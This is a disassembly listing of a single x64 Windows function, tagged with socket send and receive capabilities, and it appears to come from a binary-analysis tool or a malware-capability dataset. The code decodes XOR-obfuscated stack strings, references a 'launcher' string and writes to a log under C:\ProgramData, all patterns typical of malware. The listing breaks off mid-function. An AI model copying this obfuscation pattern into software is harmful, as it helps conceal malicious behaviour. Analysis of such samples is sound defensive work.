Function at 0x140016a60
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x3da0
call fcn.140052ae0
sub rsp, rax
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1400a5100]
xor rax, rsp
mov qword [rbp + 0x3d40], rax
mov qword [rbp], r8
mov r15, rcx
mov qword [rbp + 0x18], rcx
movabs r12, 0xe2fd62936d0211a4
movabs r13, 0x8753f2366f3dba63
cmp qword [rcx + 0x10], 0x200
jb 0x140011b4b
movabs rax, 0x8753f2366f3dba69
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x18], r12
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x18], r13
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x3370], rax
mov qword [rbp + 0x18], r12
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x3378], rax
movdqa xmm0, xmmword [rbp + 0x70]
xorps xmm0, xmmword [rbp + 0x3370]
movdqa xmmword [rbp + 0x70], xmm0
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x1660]
call fcn.140017fd0
mov r14, rax
movabs rax, 0xda27975d0c52c938
mov qword [rbp + 0x18], rax
mov rcx, qword [rbp + 0x18]
mov qword [rbp + 0x880], rcx
movabs rax, 0x818507b321504484
mov qword [rbp + 0x18], rax
mov rcx, qword [rbp + 0x18]
mov qword [rbp + 0x888], rcx
movabs rax, 0xcad05a00007afbb0
mov qword [rbp + 0x18], rax
mov rcx, qword [rbp + 0x18]
mov qword [rbp + 0x890], rcx
movabs rax, 0xb58251a0c0c2b2e
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x898], rax
movabs rax, 0xf2b6e5abaeb388af
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x8a0], rax
movabs rcx, 0x6fb8bbcf1199d5c8
mov qword [rbp + 0x18], rcx
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x8a8], rax
mov qword [rbp + 0x18], r13
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x3640], rax
mov qword [rbp + 0x18], r12
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x3648], rax
movabs rax, 0xb2b13720731e9ed5
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x3650], rax
movabs rax, 0x2b30517d6269470e
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x3658], rax
movabs rax, 0xf296df829c82bd87
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x3660], rax
mov qword [rbp + 0x18], rcx
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x3668], rax
vmovdqu ymm0, ymmword [rbp + 0x880]
vpxor ymm1, ymm0, ymmword [rbp + 0x3640]
vmovdqa ymmword [rbp + 0x880], ymm1
vmovdqa xmm0, xmmword [rbp + 0x8a0]
vxorps xmm0, xmm0, xmmword [rbp + 0x3660]
vmovdqa xmmword [rbp + 0x8a0], xmm0
movabs rax, 0x8753f2366f3d9a3e
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x18], r12
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x88], rax
mov qword [rbp + 0x18], r13
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x3490], rax
mov qword [rbp + 0x18], r12
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x3498], rax
vmovdqa xmm0, xmmword [rbp + 0x80]
vxorps xmm0, xmm0, xmmword [rbp + 0x3490]
vmovdqa xmmword [rbp + 0x80], xmm0
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x1640]
vzeroupper
call fcn.140017fd0
mov rsi, rax
movabs rax, 0x8753f2366f3dba42
mov qword [rbp + 0x18], rax
mov rcx, qword [rbp + 0x18]
mov qword [rbp + 0xc0], rcx
mov qword [rbp + 0x18], r12
mov rcx, qword [rbp + 0x18]
mov qword [rbp + 0xc8], rcx
mov qword [rbp + 0x18], r13
mov rcx, qword [rbp + 0x18]
mov qword [rbp + 0x3530], rcx
mov qword [rbp + 0x18], r12
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x3538], rax
movdqa xmm0, xmmword [rbp + 0xc0]
xorps xmm0, xmmword [rbp + 0x3530]
movdqa xmmword [rbp + 0xc0], xmm0
movabs rax, 0x8753f2366f3de143
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x18], r12
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x98], rax
mov qword [rbp + 0x18], r13
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x3540], rax
mov qword [rbp + 0x18], r12
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x3548], rax
movdqa xmm0, xmmword [rbp + 0x90]
xorps xmm0, xmmword [rbp + 0x3540]
movdqa xmmword [rbp + 0x90], xmm0
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x1620]
call fcn.140017fd0
mov rdi, rax
mov byte [rbp + 0x2b], 0
mov edx, 0x1d4
lea rcx, [rbp + 0xbc0]
call fcn.14000d400
lea r8, [rbp + 0xbc0]
lea rdx, [rbp + 0x1600]
lea rcx, [rbp + 0x2b]
call fcn.1400104a0
mov rbx, rax
movabs rax, 0x8753f2366f719a3e
mov qword [rbp + 0x18], rax
mov rcx, qword [rbp + 0x18]
mov qword [rbp + 0xb0], rcx
mov qword [rbp + 0x18], r12
mov rcx, qword [rbp + 0x18]
mov qword [rbp + 0xb8], rcx
mov qword [rbp + 0x18], r13
mov rcx, qword [rbp + 0x18]
mov qword [rbp + 0x3550], rcx
mov qword [rbp + 0x18], r12
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x3558], rax
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp + 0x3550]
movdqa xmmword [rbp + 0xb0], xmm0
lea rdx, str.launcher
lea rcx, [rbp + 0x15e0]
call fcn.140017fd0
mov r8, rax
movabs rax, 0x8753f2366f3dba38
mov qword [rbp + 0x18], rax
mov rcx, qword [rbp + 0x18]
mov qword [rbp + 0xa0], rcx
mov qword [rbp + 0x18], r12
mov rcx, qword [rbp + 0x18]
mov qword [rbp + 0xa8], rcx
mov qword [rbp + 0x18], r13
mov rcx, qword [rbp + 0x18]
mov qword [rbp + 0x3560], rcx
mov qword [rbp + 0x18], r12
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x3568], rax
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp + 0x3560]
movdqa xmmword [rbp + 0xa0], xmm0
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x15c0]
call fcn.140018f00
nop
lea r8, [rbp + 0xb0]
mov rdx, rax
lea rcx, [rbp + 0x15a0]
call fcn.140019030
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xc40]
call fcn.14001a0f0
nop
mov r9, rdi
lea r8, [rbp + 0xc40]
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xc20]
call fcn.14001a0f0
nop
lea r8, [rbp + 0xc0]
lea rdx, [rbp + 0xc20]
lea rcx, [rbp + 0x1580]
call fcn.140019030
nop
mov r9, rsi
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0x8c0]
call fcn.14001a0f0
nop
lea r8, [rbp + 0x880]
lea rdx, [rbp + 0x8c0]
lea rcx, [rbp + 0x1560]
call fcn.140019030
nop
mov r8, r15
mov rdx, rax
lea rcx, [rbp + 0x1540]
call fcn.1400190a0
nop
mov r9, r14
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xbe0]
call fcn.14001a0f0
nop
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.C:ProgramData.log
lea rcx, [rbp + 0x22a0]
call fcn.140017c10
nop
lea rdx, [rbp + 0xbe0]
mov rcx, rax
call fcn.14001a380
nop
lea rcx, [rbp + 0x2348]
call fcn.140017b90
lea rcx, [rbp + 0x2348]
call fcn.140017e40
nop
lea rcx, [rbp + 0xbe0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1540]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1560]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x8c0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1580]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xc20]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xc40]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x15a0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x15c0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x15e0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1600]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1620]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1640]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1660]
call fcn.140017eb0
jmp 0x140016a27
cmp qword [r8 + 0x10], 0xc8
jb 0x14001213a
movabs rax, 0x8753f2366f3dba69
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0x18], r12
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0x18], r13
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x3570], rax
mov qword [rbp + 0x18], r12
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x3578], rax
movdqa xmm0, xmmword [rbp + 0xd0]
xorps xmm0, xmmword [rbp + 0x3570]
movdqa xmmword [rbp + 0xd0], xmm0
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x17a0]
call fcn.140017fd0
mov r14, rax
movabs rax, 0xda27975d0c52c938
mov qword [rbp + 0x18], rax
mov rcx, qword [rbp + 0x18]
mov qword [rbp + 0x840], rcx
movabs rax, 0xc2930bf404705e84
mov qword [rbp + 0x18], rax
mov rcx, qword [rbp + 0x18]
mov qword [rbp + 0x848], rcx
movabs rax, 0x92c25345167de6b0
mov qword [rbp + 0x18], rax
mov rcx, qword [rbp + 0x18]
mov qword [rbp + 0x850], rcx
movabs rax, 0x4c5e341142112663
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x858], rax
movabs rax, 0xdba6efb0b4a2d5f3
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x860], rax
movabs rax, 0x6fb8bbcf1199f5f2
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x868], rax
mov qword [rbp + 0x18], r13
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x3680], rax
mov qword [rbp + 0x18], r12
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x3688], rax
movabs rax, 0xb2b13720731e9ed5
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x3690], rax
movabs rax, 0x2b30517d6269470e
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x3698], rax
movabs rax, 0xf296df829c82bd87
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x36a0], rax
movabs rax, 0x6fb8bbcf1199d5c8
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x36a8], rax
vmovdqu ymm0, ymmword [rbp + 0x840]
vpxor ymm1, ymm0, ymmword [rbp + 0x3680]
vmovdqa ymmword [rbp + 0x840], ymm1
vmovdqa xmm0, xmmword [rbp + 0x860]
vxorps xmm0, xmm0, xmmword [rbp + 0x36a0]
vmovdqa xmmword [rbp + 0x860], xmm0
movabs rax, 0x8753f2366f3d9a3e
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0x18], r12
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0x18], r13
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x3580], rax
mov qword [rbp + 0x18], r12
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x3588], rax
vmovdqa xmm0, xmmword [rbp + 0xe0]
vxorps xmm0, xmm0, xmmword [rbp + 0x3580]
vmovdqa xmmword [rbp + 0xe0], xmm0
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x1780]
vzeroupper
call fcn.140017fd0
mov rsi, rax
movabs rax, 0x8753f2366f3dba42
mov qword [rbp + 0x18], rax
mov rcx, qword [rbp + 0x18]
mov qword [rbp + 0x120], rcx
mov qword [rbp + 0x18], r12
mov rcx, qword [rbp + 0x18]
mov qword [rbp + 0x128], rcx
mov qword [rbp + 0x18], r13
mov rcx, qword [rbp + 0x18]
mov qword [rbp + 0x3590], rcx
mov qword [rbp + 0x18], r12
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x3598], rax
movdqa xmm0, xmmword [rbp + 0x120]
xorps xmm0, xmmword [rbp + 0x3590]
movdqa xmmword [rbp + 0x120], xmm0
movabs rax, 0x8753f2366f3de143
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0x18], r12
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0xf8], rax
mov qword [rbp + 0x18], r13
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x35a0], rax
mov qword [rbp + 0x18], r12
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x35a8], rax
movdqa xmm0, xmmword [rbp + 0xf0]
xorps xmm0, xmmword [rbp + 0x35a0]
movdqa xmmword [rbp + 0xf0], xmm0
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x1760]
call fcn.140017fd0
mov rdi, rax
mov byte [rbp + 0x20], 0
mov edx, 0x1d8
lea rcx, [rbp + 0xc60]
call fcn.14000d400
lea r8, [rbp + 0xc60]
lea rdx, [rbp + 0x1740]
lea rcx, [rbp + 0x20]
call fcn.1400104a0
mov rbx, rax
movabs rax, 0x8753f2366f719a3e
mov qword [rbp + 0x18], rax
mov rcx, qword [rbp + 0x18]
mov qword [rbp + 0x110], rcx
mov qword [rbp + 0x18], r12
mov rcx, qword [rbp + 0x18]
mov qword [rbp + 0x118], rcx
mov qword [rbp + 0x18], r13
mov rcx, qword [rbp + 0x18]
mov qword [rbp + 0x35b0], rcx
mov qword [rbp + 0x18], r12
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x35b8], rax
movdqa xmm0, xmmword [rbp + 0x110]
xorps xmm0, xmmword [rbp + 0x35b0]
movdqa xmmword [rbp + 0x110], xmm0
lea rdx, str.launcher
lea rcx, [rbp + 0x1720]
call fcn.140017fd0
mov r8, rax
movabs rax, 0x8753f2366f3dba38
mov qword [rbp + 0x18], rax
mov rcx, qword [rbp + 0x18]
mov qword [rbp + 0x100], rcx
mov qword [rbp + 0x18], r12
mov rcx, qword [rbp + 0x18]
mov qword [rbp + 0x108], rcx
mov qword [rbp + 0x18], r13
mov rcx, qword [rbp + 0x18]
mov qword [rbp + 0x35c0], rcx
mov qword [rbp + 0x18], r12
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x35c8], rax
movdqa xmm0, xmmword [rbp + 0x100]
xorps xmm0, xmmword [rbp + 0x35c0]
movdqa xmmword [rbp + 0x100], xmm0
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x1700]
call fcn.140018f00
nop
lea r8, [rbp + 0x110]
mov rdx, rax
lea rcx, [rbp + 0x16e0]
call fcn.140019030
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0x900]
call fcn.14001a0f0
nop
mov r9, rdi
lea r8, [rbp + 0x900]
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0x8e0]
call fcn.14001a0f0
nop
lea r8, [rbp + 0x120]
lea rdx, [rbp + 0x8e0]
lea rcx, [rbp + 0x16c0]
call fcn.140019030
nop
mov r9, rsi
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xa60]
call fcn.14001a0f0
nop
lea r8, [rbp + 0x840]
lea rdx, [rbp + 0xa60]
lea rcx, [rbp + 0x16a0]
call fcn.140019030
nop
mov r8, qword [rbp]
mov rdx, rax
lea rcx, [rbp + 0x1680]
call fcn.1400190a0
nop
mov r9, r14
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xc80]
call fcn.14001a0f0
nop
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.C:ProgramData.log
lea rcx, [rbp + 0x23a8]
call fcn.140017c10
nop
lea rdx, [rbp + 0xc80]
mov rcx, rax
call fcn.14001a380
nop
lea rcx, [rbp + 0x2450]
call fcn.140017b90
lea rcx, [rbp + 0x2450]
call fcn.140017e40
nop
lea rcx, [rbp + 0xc80]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1680]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x16a0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xa60]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x16c0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x8e0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x900]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x16e0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1700]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1720]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1740]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1760]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1780]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x17a0]
call fcn.140017eb0
jmp 0x140016a27
movabs rbx, 0xd908d7194007c914
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x130], rax
movabs rax, 0xe2fd06b6575f3e9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x138], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x35d0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x35d8], rax
movdqa xmm0, xmmword [rbp + 0x130]
xorps xmm0, xmmword [rbp + 0x35d0]
movdqa xmmword [rbp + 0x130], xmm0
call fcn.140017ea0
lea r9, [rbp + 0x3008]
lea r8, [rbp + 0x3b40]
lea rdx, [rbp + 0x130]
mov rcx, rax
call fcn.14000d1b0
cmp eax, 2
jne 0x140012ce0
movabs rax, 0x8753f2366f3dba69
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x35e0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x35e8], rax
movdqa xmm0, xmmword [rbp + 0x140]
xorps xmm0, xmmword [rbp + 0x35e0]
movdqa xmmword [rbp + 0x140], xmm0
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x1900]
call fcn.140017fd0
mov r15, rax
lea rdx, [rbp + 0x3b40]
lea rcx, [rbp + 0x18e0]
call fcn.140017fd0
mov r14, rax
movabs rax, 0xda27975d0c52c938
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x660], rcx
movabs rax, 0x87994ffc19775084
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x668], rcx
movabs rax, 0xda915345077dfba1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x670], rax
movabs rax, 0x2b30515d581d3461
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x678], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3020], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3028], rax
movabs rax, 0xb2b13720731e9ed5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3030], rax
movabs rax, 0x2b30517d6269470e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3038], rax
vmovdqu ymm0, ymmword [rbp + 0x3020]
vpxor ymm1, ymm0, ymmword [rbp + 0x660]
vmovdqa ymmword [rbp + 0x660], ymm1
movabs rax, 0x8753f2366f3d9a3e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3060], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3068], rax
vmovdqa xmm0, xmmword [rbp + 0x150]
vxorps xmm0, xmm0, xmmword [rbp + 0x3060]
vmovdqa xmmword [rbp + 0x150], xmm0
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x18c0]
vzeroupper
call fcn.140017fd0
mov rsi, rax
movabs rax, 0x8753f2366f3dba48
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x190], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x198], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x3070], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3078], rax
movdqa xmm0, xmmword [rbp + 0x3070]
xorps xmm0, xmmword [rbp + 0x190]
movdqa xmmword [rbp + 0x190], xmm0
movabs rax, 0x8753f2366f3de143
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x160], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x168], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3080], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3088], rax
movdqa xmm0, xmmword [rbp + 0x3080]
xorps xmm0, xmmword [rbp + 0x160]
movdqa xmmword [rbp + 0x160], xmm0
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x18a0]
call fcn.140017fd0
mov rdi, rax
mov byte [rbp + 0x21], 0
mov edx, 0x1dc
lea rcx, [rbp + 0x920]
call fcn.14000d400
lea r8, [rbp + 0x920]
lea rdx, [rbp + 0x1880]
lea rcx, [rbp + 0x21]
call fcn.1400104a0
mov rbx, rax
movabs rax, 0x8753f2366f719a3e
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x180], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x188], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x3090], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3098], rax
movdqa xmm0, xmmword [rbp + 0x3090]
xorps xmm0, xmmword [rbp + 0x180]
movdqa xmmword [rbp + 0x180], xmm0
lea rdx, str.launcher
lea rcx, [rbp + 0x1860]
call fcn.140017fd0
mov r8, rax
movabs rax, 0x8753f2366f3dba38
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x170], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x178], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x30a0], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x30a8], rax
movdqa xmm0, xmmword [rbp + 0x30a0]
xorps xmm0, xmmword [rbp + 0x170]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x1840]
call fcn.140018f00
nop
lea r8, [rbp + 0x180]
mov rdx, rax
lea rcx, [rbp + 0x1820]
call fcn.140019030
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xb80]
call fcn.14001a0f0
nop
mov r9, rdi
lea r8, [rbp + 0xb80]
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xba0]
call fcn.14001a0f0
nop
lea r8, [rbp + 0x190]
lea rdx, [rbp + 0xba0]
lea rcx, [rbp + 0x1800]
call fcn.140019030
nop
mov r9, rsi
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xb40]
call fcn.14001a0f0
nop
lea r8, [rbp + 0x660]
lea rdx, [rbp + 0xb40]
lea rcx, [rbp + 0x17e0]
call fcn.140019030
nop
mov r9, r14
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xca0]
call fcn.14001a0f0
nop
mov r8, r15
lea rdx, [rbp + 0xca0]
lea rcx, [rbp + 0x17c0]
call fcn.140019110
mov rbx, rax
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.C:ProgramData.log
lea rcx, [rbp + 0x24b0]
call fcn.140017c10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14001a380
nop
lea rcx, [rbp + 0x2558]
call fcn.140017b90
lea rcx, [rbp + 0x2558]
call fcn.140017e40
nop
lea rcx, [rbp + 0x17c0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xca0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x17e0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xb40]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1800]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xba0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xb80]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1820]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1840]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1860]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1880]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x18a0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x18c0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x18e0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1900]
call fcn.140017eb0
movabs rax, 0x8753f2366f3dba69
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x30b0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x30b8], rax
movdqa xmm0, xmmword [rbp + 0x30b0]
xorps xmm0, xmmword [rbp + 0x1a0]
movdqa xmmword [rbp + 0x1a0], xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x1a00]
call fcn.140017fd0
mov r14, rax
mov edx, dword [rbp + 0x3008]
lea rcx, [rbp + 0xaa0]
call fcn.14000d400
nop
movabs rax, 0xda27975d0c52c938
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x680], rcx
movabs rax, 0x87994ffc19775084
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x688], rcx
movabs rax, 0xc2915345077dfba1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x690], rax
movabs rax, 0x2b30515d581d3561
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x698], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3020], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3028], rax
movabs rax, 0xb2b13720731e9ed5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3030], rax
movabs r15, 0x2b30517d6269470e
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3038], rax
vmovdqu ymm0, ymmword [rbp + 0x3020]
vpxor ymm1, ymm0, ymmword [rbp + 0x680]
vmovdqa ymmword [rbp + 0x680], ymm1
movabs rax, 0x8753f2366f3d9a3e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x30c0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x30c8], rax
vmovdqa xmm0, xmmword [rbp + 0x30c0]
vxorps xmm0, xmm0, xmmword [rbp + 0x1b0]
vmovdqa xmmword [rbp + 0x1b0], xmm0
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x19e0]
vzeroupper
call fcn.140017fd0
mov rsi, rax
movabs rax, 0x8753f2366f3dba48
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x1f0], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x1f8], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x30d0], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x30d8], rax
movdqa xmm0, xmmword [rbp + 0x30d0]
xorps xmm0, xmmword [rbp + 0x1f0]
movdqa xmmword [rbp + 0x1f0], xmm0
movabs rax, 0x8753f2366f3de143
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
